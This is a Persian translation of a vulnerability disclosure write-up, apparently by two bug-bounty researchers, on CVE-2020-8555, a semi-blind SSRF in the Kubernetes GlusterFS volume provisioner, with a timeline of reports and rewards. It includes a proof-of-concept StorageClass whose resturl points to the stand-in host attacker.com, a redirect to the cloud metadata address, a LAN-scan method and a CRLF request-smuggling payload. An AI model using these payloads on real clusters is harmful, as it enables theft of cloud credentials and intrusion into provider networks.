زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

توجه داشته باشید. ترجمه: نویسندگان این مقاله به تفصیل در مورد چگونگی کشف این آسیب پذیری صحبت می کنند CVE-2020-8555 در Kubernetes اگرچه در ابتدا خیلی خطرناک به نظر نمی رسید، اما در ترکیب با عوامل دیگر، بحرانی بودن آن برای برخی از ارائه دهندگان ابری حداکثر بود. چندین سازمان سخاوتمندانه به متخصصان برای کارشان پاداش دادند.

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

ما که هستیم

ما دو محقق امنیتی فرانسوی هستیم که به طور مشترک یک آسیب پذیری را در Kubernetes کشف کردیم. نام‌های ما بریس آگاس و کریستوف هاوکیرت است، اما در بسیاری از پلتفرم‌های Bug Bounty به ترتیب Reeverzax و Hach شناخته می‌شوند:

چی شد؟

این مقاله راه ما برای به اشتراک گذاشتن این است که چگونه یک پروژه تحقیقاتی معمولی به طور غیرمنتظره ای به هیجان انگیزترین ماجراجویی در زندگی شکارچیان حشرات تبدیل شد (حداقل در حال حاضر).

همانطور که احتمالا می دانید، شکارچیان حشرات دارای چند ویژگی قابل توجه هستند:

  • آنها با پیتزا و آبجو زندگی می کنند.
  • آنها زمانی کار می کنند که بقیه در خواب هستند.

ما از این قوانین مستثنی نیستیم: ما معمولاً آخر هفته ها ملاقات می کنیم و شب های بی خوابی را به هک کردن می گذرانیم. اما یکی از این شب ها به شکلی بسیار غیرعادی به پایان رسید.

در ابتدا قرار بود برای بحث در مورد مشارکت ملاقات کنیم CTF روز بعد. در طول مکالمه در مورد امنیت Kubernetes در یک محیط خدمات مدیریت شده، ایده قدیمی SSRF را به یاد آوردیم (جعل درخواست سمت سرور) و تصمیم گرفتیم از آن به عنوان یک اسکریپت حمله استفاده کنیم.

ساعت 11 شب نشستیم تا تحقیقات خود را انجام دهیم و صبح زود به رختخواب رفتیم و از نتایج بسیار راضی بودیم. به دلیل این تحقیق بود که با برنامه MSRC Bug Bounty مواجه شدیم و به یک سوء استفاده از افزایش امتیاز رسیدیم.

چندین هفته/ماه گذشت و نتیجه غیرمنتظره ما منجر به یکی از بالاترین جوایز در تاریخ Azure Cloud Bug Bounty شد - علاوه بر پاداشی که از Kubernetes دریافت کردیم!

بر اساس پروژه تحقیقاتی ما، کمیته امنیت محصول Kubernetes منتشر شد CVE-2020-8555.

اکنون می خواهم تا حد امکان اطلاعات مربوط به آسیب پذیری یافت شده را منتشر کنم. امیدواریم از این یافته قدردانی کنید و جزئیات فنی را با سایر اعضای انجمن infosec به اشتراک بگذارید!

پس داستان ما اینجاست...

متن نوشته

برای درک بیشتر آنچه اتفاق افتاده است، ابتدا به نحوه عملکرد Kubernetes در یک محیط مدیریت ابری نگاه می کنیم.

هنگامی که یک خوشه Kubernetes را در چنین محیطی نمونه سازی می کنید، مسئولیت لایه مدیریت معمولاً بر عهده ارائه دهنده ابر است:

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...
لایه کنترل در محیط ارائه دهنده ابر قرار دارد، در حالی که گره های Kubernetes در محیط مشتری قرار دارند.

برای تخصیص پویا حجم ها، مکانیزمی برای تهیه پویا آنها از یک ذخیره سازی خارجی و مقایسه آنها با PVC (ادعای حجم مداوم، به عنوان مثال درخواست حجم) استفاده می شود.

بنابراین، پس از ایجاد PVC و اتصال به StorageClass در کلاستر K8s، اقدامات بعدی برای ارائه حجم توسط مدیر کنترلر kube/cloud انجام می شود (نام دقیق آن بستگی به انتشار دارد). (توجه داشته باشید. ترجمه: قبلاً در مورد CCM با استفاده از مثال پیاده سازی آن برای یکی از ارائه دهندگان ابر بیشتر نوشته ایم اینجا.)

انواع مختلفی از ارائه‌دهنده‌ها وجود دارد که توسط Kubernetes پشتیبانی می‌شوند: بسیاری از آنها در آن گنجانده شده‌اند هسته ارکستراتور، در حالی که سایرین توسط تامین کنندگان اضافی مدیریت می شوند که در غلاف ها در خوشه قرار می گیرند.

در تحقیق خود، ما بر مکانیزم تامین حجم داخلی تمرکز کردیم که در زیر نشان داده شده است:

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...
تهیه پویا حجم ها با استفاده از تامین کننده داخلی Kubernetes

به طور خلاصه، وقتی Kubernetes در یک محیط مدیریت شده مستقر می شود، مسئولیت مدیریت کنترلر بر عهده ارائه دهنده ابر است، اما درخواست ایجاد حجم (شماره 3 در نمودار بالا) از شبکه داخلی ارائه دهنده ابر خارج می شود. و اینجاست که همه چیز واقعاً جالب می شود!

سناریوی هک

در این بخش توضیح خواهیم داد که چگونه از گردش کار ذکر شده در بالا استفاده کردیم و به منابع داخلی ارائه دهنده خدمات ابری دسترسی پیدا کردیم. همچنین به شما نشان می‌دهد که چگونه می‌توانید اقدامات خاصی مانند دریافت اعتبار داخلی یا افزایش امتیازات را انجام دهید.

یک دستکاری ساده (در این مورد، جعل درخواست سمت سرویس) کمک کرد تا فراتر از محیط مشتری به خوشه‌هایی از ارائه‌دهندگان خدمات مختلف تحت مدیریت K8 بروید.

در تحقیق خود ما بر ارائه دهنده GlusterFS تمرکز کردیم. علیرغم این واقعیت که توالی اقدامات بعدی در این زمینه توضیح داده شده است، Quobyte، StorageOS و ScaleIO در معرض آسیب پذیری یکسان هستند.

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...
سوء استفاده از مکانیسم تامین حجم پویا

در طول تجزیه و تحلیل کلاس ذخیره سازی گلستر اف اس در کد منبع مشتری Golang ما توجه کردکه در اولین درخواست HTTP (3) در هنگام ایجاد حجم، به انتهای URL سفارشی در پارامتر ارسال می شود resturl اضافه /volumes.

تصمیم گرفتیم با اضافه کردن از شر این مسیر اضافی خلاص شویم # در پارامتر resturl. در اینجا اولین پیکربندی YAML است که برای آزمایش آسیب‌پذیری نیمه کور SSRF استفاده کردیم. (برای مثال می توانید در مورد SSRF نیمه کور یا نیمه کور بیشتر بخوانید، اینجا - تقریبا ترجمه.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

سپس از باینری برای مدیریت از راه دور خوشه Kubernetes استفاده کردیم کوبکتل. به طور معمول، ارائه دهندگان ابری (Azure، Google، AWS، و غیره) به شما اجازه می دهند اعتبارنامه هایی را برای استفاده در این ابزار به دست آورید.

به لطف این، من توانستم از فایل "ویژه" خود استفاده کنم. Kube-controller-manager درخواست HTTP حاصل را اجرا کرد:

kubectl create -f sc-poc.yaml

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...
پاسخ از دیدگاه مهاجم

مدت کوتاهی پس از این، ما همچنین توانستیم یک پاسخ HTTP را از سرور مورد نظر دریافت کنیم - از طریق دستورات describe pvc یا get events در کوبکتل و در واقع: این درایور پیش‌فرض Kubernetes در اخطارها/پیام‌های خطای خود بسیار پرحرف است...

در اینجا یک مثال با پیوند به https://www.google.frبه عنوان پارامتر تنظیم کنید resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

در این رویکرد، ما به پرس و جوهایی مانند HTTP POST و اگر کد برگشتی بود، نمی‌توانست محتوای بدنه پاسخ را دریافت کند 201. بنابراین تصمیم گرفتیم تحقیقات تکمیلی انجام دهیم و این سناریوی هک را با رویکردهای جدید گسترش دهیم.

سیر تکاملی تحقیقات ما

  • سناریوی پیشرفته شماره 1: استفاده از تغییر مسیر 302 از یک سرور خارجی برای تغییر روش HTTP برای ارائه روشی انعطاف‌پذیرتر برای جمع‌آوری داده‌های داخلی.
  • سناریوی پیشرفته شماره 2: اسکن LAN و کشف منابع داخلی را خودکار کنید.
  • سناریوی پیشرفته شماره 3: استفاده از HTTP CRLF + smuggling ("قاچاق درخواست") برای ایجاد درخواست های HTTP مناسب و بازیابی داده های استخراج شده از گزارش های کنترل کننده kube.

مشخصات فنی

  • در این تحقیق از سرویس Azure Kubernetes (AKS) با نسخه 1.12 Kubernetes در منطقه اروپای شمالی استفاده شد.
  • سناریوهایی که در بالا توضیح داده شد در آخرین نسخه های Kubernetes اجرا شدند، به استثنای سناریوی سوم، زیرا او به Kubernetes ساخته شده با نسخه Golang ≤ 1.12 نیاز داشت.
  • سرور خارجی مهاجم - https://attacker.com.

سناریوی پیشرفته شماره 1: تغییر مسیر درخواست HTTP POST به GET و دریافت داده های حساس

روش اصلی با پیکربندی سرور مهاجم برای بازگشت بهبود یافته است 302 HTTP Retcodeبرای تبدیل درخواست POST به درخواست GET (مرحله 4 در نمودار):

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

اولین درخواست (3) از مشتری گلستر اف اس (Controller Manager)، دارای نوع POST می باشد. با دنبال کردن این مراحل توانستیم آن را به GET تبدیل کنیم:

  • به عنوان یک پارامتر resturl در StorageClass نشان داده شده است http://attacker.com/redirect.php.
  • نقطه پایانی https://attacker.com/redirect.php با یک کد وضعیت HTTP 302 با عنوان موقعیت مکانی زیر پاسخ می دهد: http://169.254.169.254. این می تواند هر منبع داخلی دیگری باشد - در این مورد، پیوند تغییر مسیر صرفاً به عنوان مثال استفاده می شود.
  • به طور پیش فرض کتابخانه net/http Golang درخواست را تغییر مسیر می دهد و POST را به یک GET با کد وضعیت 302 تبدیل می کند که در نتیجه یک درخواست HTTP GET به منبع هدف ایجاد می شود.

برای خواندن بدنه پاسخ HTTP باید انجام دهید describe شی PVC:

kubectl describe pvc xxx

در اینجا نمونه ای از پاسخ HTTP در قالب JSON است که ما توانستیم دریافت کنیم:

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

قابلیت‌های آسیب‌پذیری یافت شده در آن زمان به دلیل موارد زیر محدود بود:

  • عدم امکان درج هدرهای HTTP در درخواست خروجی.
  • ناتوانی در انجام یک درخواست POST با پارامترهای موجود در بدنه (این کار برای درخواست مقدار کلید از یک نمونه etcd که روی آن اجرا می شود راحت است. 2379 پورت در صورت استفاده از HTTP رمزگذاری نشده).
  • زمانی که کد وضعیت 200 بود و پاسخ فاقد نوع محتوای JSON بود، نمی‌توان محتوای بدنه پاسخ را بازیابی کرد.

سناریوی پیشرفته شماره 2: اسکن شبکه محلی

سپس از این روش نیمه کور SSRF برای اسکن شبکه داخلی ارائه‌دهنده ابر و نظرسنجی سرویس‌های شنیداری مختلف (مثلاً فراداده، Kubelet، و غیره) بر اساس پاسخ‌ها استفاده شد. کنترلر کوبه.

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

ابتدا پورت های شنیداری استاندارد اجزای Kubernetes تعیین شد (8443، 10250، 10251، و غیره)، و سپس ما مجبور شدیم فرآیند اسکن را خودکار کنیم.

با دیدن اینکه این روش اسکن منابع بسیار خاص است و با اسکنرهای کلاسیک و ابزارهای SSRF سازگار نیست، تصمیم گرفتیم کارگران خود را در یک اسکریپت bash ایجاد کنیم که کل فرآیند را خودکار می کند.

به عنوان مثال، برای اسکن سریع محدوده 172.16.0.0/12 شبکه داخلی، 15 کارگر به صورت موازی راه اندازی شدند. محدوده IP بالا فقط به عنوان نمونه انتخاب شده است و ممکن است در محدوده IP ارائه دهنده خدمات خاص شما تغییر کند.

برای اسکن یک آدرس IP و یک پورت، باید موارد زیر را انجام دهید:

  • آخرین StorageClass علامت زده را حذف کنید.
  • ادعای حجم پایدار تأیید شده قبلی را حذف کنید.
  • مقادیر IP و Port را در آن تغییر دهید sc.yaml;
  • یک StorageClass با IP و پورت جدید ایجاد کنید.
  • ایجاد یک PVC جدید؛
  • استخراج نتایج اسکن با استفاده از توصیف برای PVC.

سناریوی پیشرفته شماره 3: تزریق CRLF + قاچاق HTTP در نسخه های قدیمی خوشه Kubernetes

اگر علاوه بر این، ارائه دهنده نسخه های قدیمی خوشه K8s را به مشتریان ارائه می دهد и به آنها دسترسی به سیاهههای مربوط به کنترلر-مدیریت kube داد، این اثر حتی مهمتر شد.

در واقع برای مهاجم بسیار راحت‌تر است که درخواست‌های HTTP طراحی شده برای دریافت پاسخ HTTP کامل را بنا به صلاحدید خود تغییر دهد.

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

برای اجرای آخرین سناریو، شرایط زیر باید رعایت می شد:

  • کاربر باید به لاگ‌های kube-controller-manager دسترسی داشته باشد (مثلاً در Azure LogInsights).
  • خوشه Kubernetes باید از نسخه Golang کمتر از 1.12 استفاده کند.

ما یک محیط محلی را مستقر کردیم که ارتباط بین مشتری GlusterFS Go و یک سرور هدف جعلی را شبیه سازی می کرد (فعلا از انتشار PoC خودداری می کنیم).

یافت شد آسیب پذیری، بر نسخه های Golang کمتر از 1.12 تأثیر می گذارد و به هکرها اجازه می دهد تا حملات قاچاق HTTP/CRLF را انجام دهند.

با ترکیب SSRF نیمه کور که در بالا توضیح داده شد вместе با این کار، ما توانستیم درخواست هایی را به دلخواه خود ارسال کنیم، از جمله جایگزینی هدرها، روش HTTP، پارامترها و داده ها، که سپس kube-controller-manager آنها را پردازش کرد.

در اینجا مثالی از یک "طعمه" کار در یک پارامتر آورده شده است resturl StorageClass، که یک سناریوی حمله مشابه را پیاده سازی می کند:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

نتیجه یک خطا است پاسخ ناخواسته، پیامی در مورد آن در گزارش های کنترلر ثبت شده است. به لطف پرحرفی فعال شده به طور پیش فرض، محتوای پیام پاسخ HTTP نیز در آنجا ذخیره می شود.

زمانی که فقط مربوط به آسیب پذیری های Kubernetes نیست...

این مؤثرترین «طعمه» ما در چارچوب اثبات مفهوم بود.

با استفاده از این رویکرد، ما توانستیم برخی از حملات زیر را بر روی خوشه‌های ارائه‌دهنده‌های مختلف k8s مدیریت‌شده انجام دهیم: افزایش امتیاز با اعتبار در نمونه‌های ابرداده، Master DoS از طریق درخواست‌های HTTP (رمزگذاری نشده) در نمونه‌های اصلی etcd و غیره.

عواقب بعدی

در بیانیه رسمی Kubernetes در رابطه با آسیب‌پذیری SSRF که ما کشف کردیم، رتبه‌بندی شد CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. اگر فقط آسیب‌پذیری مرتبط با محیط Kubernetes را در نظر بگیریم، بردار یکپارچگی (بردار یکپارچگی) واجد شرایط است هیچ.

با این حال، ارزیابی پیامدهای احتمالی در زمینه یک محیط خدمات مدیریت شده (و این جالب ترین بخش تحقیق ما بود!) ما را بر آن داشت تا آسیب پذیری را به یک رتبه بندی مجدد طبقه بندی کنیم. CVSS10/10 بحرانی برای بسیاری از توزیع کنندگان

در زیر اطلاعات بیشتری برای کمک به درک ملاحظات ما در هنگام ارزیابی اثرات بالقوه در محیط‌های ابری آورده شده است:

صداقت

  • دستورات را از راه دور با استفاده از اعتبار داخلی به دست آمده اجرا کنید.
  • بازتولید سناریوی فوق با استفاده از روش IDOR (Insecure Direct Object Reference) با سایر منابع موجود در شبکه محلی.

محرمانه بودن

  • نوع حمله حرکت جانبی به لطف سرقت اطلاعات کاربری ابری (به عنوان مثال، API ابرداده).
  • جمع آوری اطلاعات با اسکن شبکه محلی (تعیین نسخه SSH، نسخه سرور HTTP، ...).
  • جمع آوری اطلاعات نمونه و زیرساخت با نظرسنجی APIهای داخلی مانند API ابرداده (http://169.254.169.254،).
  • سرقت اطلاعات مشتری با استفاده از اعتبارنامه ابری

در دسترس بودن

تمام سناریوهای بهره برداری مربوط به بردارهای حمله در تمامیت، می تواند برای اقدامات مخرب استفاده شود و منجر به در دسترس نبودن نمونه های اصلی از محیط مشتری (یا هر مورد دیگر) شود.

از آنجایی که ما در یک محیط K8s مدیریت شده بودیم و تأثیر آن بر یکپارچگی را ارزیابی می‌کردیم، می‌توانیم سناریوهای زیادی را تصور کنیم که می‌توانند در دسترس بودن را تحت تأثیر قرار دهند. مثال‌های دیگر شامل خراب کردن پایگاه داده etcd یا برقراری تماس مهم با Kubernetes API است.

زمان سنجی

  • 6 دسامبر 2019: آسیب‌پذیری به MSRC Bug Bounty گزارش شد.
  • 3 ژانویه 2020: شخص ثالثی به توسعه دهندگان Kubernetes اطلاع داد که ما در حال کار روی یک مشکل امنیتی هستیم. و از آنها خواست که SSRF را به عنوان یک آسیب پذیری داخلی (در هسته) در نظر بگیرند. سپس یک گزارش کلی با جزئیات فنی در مورد منبع مشکل ارائه کردیم.
  • 15 ژانویه 2020: گزارش‌های فنی و کلی را به توسعه‌دهندگان Kubernetes بنا به درخواست آنها (از طریق پلتفرم HackerOne) ارائه کردیم.
  • 15 ژانویه 2020: توسعه دهندگان Kubernetes به ما اطلاع دادند که تزریق نیمه کور SSRF + CRLF برای نسخه های گذشته یک آسیب پذیری درون هسته ای در نظر گرفته می شود. ما بلافاصله تجزیه و تحلیل محیط سایر ارائه دهندگان خدمات را متوقف کردیم: تیم K8s اکنون با علت اصلی برخورد می کرد.
  • 15 ژانویه 2020: پاداش MSRC از طریق HackerOne دریافت شد.
  • 16 ژانویه 2020: Kubernetes PSC (کمیته امنیت محصول) آسیب پذیری را تشخیص داد و از او خواست تا به دلیل تعداد زیاد قربانیان احتمالی آن را تا اواسط مارس مخفی نگه دارد.
  • 11 فوریه 2020: پاداش Google VRP دریافت شد.
  • 4 مارس 2020: پاداش Kubernetes از طریق HackerOne دریافت شد.
  • 15 مارس 2020: افشای عمومی برنامه ریزی شده اولیه به دلیل وضعیت COVID-19 به تعویق افتاد.
  • 1 ژوئن 2020: بیانیه مشترک Kubernetes + Microsoft در مورد این آسیب پذیری.

TL؛ DR

  • ما آبجو میخوریم و پیتزا میخوریم :)
  • ما یک آسیب‌پذیری درون هسته‌ای را در Kubernetes کشف کردیم، اگرچه قصد انجام این کار را نداشتیم.
  • ما تجزیه و تحلیل بیشتری را بر روی خوشه‌های ارائه‌دهندگان ابری مختلف انجام دادیم و توانستیم آسیب‌های ناشی از آسیب‌پذیری را افزایش دهیم تا پاداش‌های فوق‌العاده بیشتری دریافت کنیم.
  • جزئیات فنی زیادی را در این مقاله خواهید دید. ما خوشحال می شویم که آنها را با شما در میان بگذاریم (توئیتر: @ReeverZax & @__hach_).
  • معلوم شد که انواع تشریفات و گزارش دهی بسیار بیشتر از حد انتظار طول کشیده است.

مراجع

PS از مترجم

در وبلاگ ما نیز بخوانید:

منبع: www.habr.com

اضافه کردن نظر